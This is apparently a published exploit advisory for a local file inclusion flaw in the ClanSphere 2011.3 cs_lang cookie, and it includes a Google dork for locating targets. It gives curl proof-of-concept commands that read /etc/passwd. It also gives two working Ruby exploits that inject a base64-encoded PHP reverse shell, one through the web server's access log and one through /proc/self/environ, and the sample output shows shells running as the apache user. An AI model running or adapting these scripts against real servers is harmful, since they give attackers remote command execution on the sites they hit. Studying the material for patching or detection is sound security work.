ClanSphere 2011.3 Local File Inclusion / Remote Code Execution

`Exploit Title: ClanSphere 2011.3 (cs_lang cookie parameter) Local File Inclusion Vulnerability  
Google Dork: "Copyright 2012 Seitentitel. All rights reserved." || inurl:index.php?mod=clansphere  
Date: 10/24/2012  
Author: Marco Tulio ~> blkhtc0rp  
Vendor Homepage: http://www.csphere.eu  
Version: 2011.3  
Tested on: Centos 5.7, Ubuntu 8.04 and FreeBSD 8  
  
  
Description: ClanSphere version 2011.3 contains a flaw which allow an attacker to execute commands and code due its cs_lang cookie parameter that is not properly sanitized. Prior versions should also be affected.  
  
  
  
Poc:  
curl "http://www.xxx-test.eu/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00.png"  
curl "http://www.xxx-test.eu/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd"  
curl "http://www.xxx-test.eu/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00"  
  
  
  
Exploit 1:  
  
#!/usr/bin/ruby  
  
#  
# ClanSphere 2011.3 (cs_lang cookie parameter) LFI exploit by blkhtc0rp  
#  
#  
# ./clanSphere.rb "http://172.16.255.134/apps/clansphere_2011.3/" "/var/log/httpd/access_log" 192.168.1.221 12345  
# [x] ClanSphere 2011.3 LFI Exploit  
# [x] Author: blkhtc0rp  
# [x] Reverse shell on 192.168.1.221:12345  
#  
#  
# nc -lp 12345  
# pwd  
# /var/www/html/apps/clansphere_2011.3  
# id  
# uid=48(apache) gid=48(apache) groups=48(apache)  
#  
require 'net/http'  
require 'base64'  
  
host = ARGV[0]  
log = ARGV[1]  
ip = ARGV[2]  
rev_port = ARGV[3]  
  
abort("Usage: #{$0} <url> <log> <your_ip> <port>") unless ARGV.size == 4  
  
uri = URI.parse(host)  
  
cookie = "blah=blah; cs_lang=../../../../../../../../../../../../../../../.." + log + "%00.png"  
headers = { 'Cookie' => cookie,   
'User-Agent' => 'Mozilla/4.0 (PSP (PlayStation Portable); 5.03)'   
}  
  
# Tiny shell from the net lol.   
shell = "\$ip = \'#{ip}\';\$port = #{rev_port}; if (!(\$sock=fsockopen(\$ip,\$port))) die; while(!feof(\$sock)){ \$command = fgets(\$sock);\$pipe = popen(\$command,'r'); while (!feof(\$pipe)) fwrite (\$sock, fgets(\$pipe)); pclose(\$pipe);}fclose(\$sock);"  
  
enc = Base64.encode64(shell).gsub("\n",'')  
sh_encoded = "<?php eval(base64_decode(#{enc}));?>"  
  
  
puts "[x] ClanSphere 2011.3 LFI Exploit"  
puts "[x] Author: blkhtc0rp"  
puts "[x] Reverse shell on #{ip}:#{rev_port}"  
  
# Inject base64 shell  
req = Net::HTTP::Get.new(sh_encoded)  
status = Net::HTTP.new(uri.host, uri.port).start do |http|  
http.request(req)  
end  
  
# Exec shell  
req2 = Net::HTTP::Get.new(uri.path, headers)  
status = Net::HTTP.new(uri.host, uri.port).start do |http|  
http.request(req2)  
end  
  
  
  
Exploit 2 /proc/self/environ:  
  
  
  
#!/usr/bin/ruby   
  
# ClanSphere 2011.3 (cs_lang cookie parameter) LFI exploit by blkhtc0rp   
# Prior versions should also be affected.  
#  
# ./clanSphere-poc2.rb "http://victim.com.br/" 127.0.0.1:8118 rhost.com.br 44444  
# [x] ClanSphere 2011.3 (cs_lang) LFI exploit  
# [x] Author: blkhtc0rp  
# [x] Injecting malicious code into /proc/self/environ...  
# [x] Launching reverse shell on rhost.com.br:44444...  
#  
# nc -vv -l 44444  
# Connection from victim.com.br port 44444 [tcp/*] accepted  
# id  
# uid=48(apache) gid=48(apache) groups=48(apache)  
#  
require 'net/http'  
require 'base64'  
  
url = ARGV[0]  
proxy = ARGV[1]  
rhost = ARGV[2]  
rport = ARGV[3]  
  
  
uri = URI.parse(url)  
  
px_addr, px_pt = proxy.split(/:/) if proxy  
  
cookie = "blah=blah; cs_lang=../../../../../../../../../../../../../../../../proc/self/environ%00.png"  
  
  
shell = "<?php \$ip = \'#{rhost}\';\$port = #{rport}; if (!(\$sock=fsockopen(\$ip,\$port))) die; while(!feof(\$sock)){ \$command = fgets(\$sock);\$pipe = popen(\$command,'r'); while (!feof(\$pipe)) fwrite (\$sock, fgets(\$pipe)); pclose(\$pipe);}fclose(\$sock);?>"  
  
  
headers = { 'Cookie' => cookie,  
'User-Agent' => shell  
}  
  
puts "[x] ClanSphere 2011.3 (cs_lang) LFI exploit"  
puts "[x] Author: blkhtc0rp"  
puts "[x] Injecting malicious code into /proc/self/environ..."  
puts "[x] Launching reverse shell on #{rhost}:#{rport}..."  
  
req = Net::HTTP::Post.new(uri.path, headers)  
  
status = Net::HTTP.new(uri.host, uri.port, px_addr, px_pt).start do |http|  
http.request(req)  
end  
`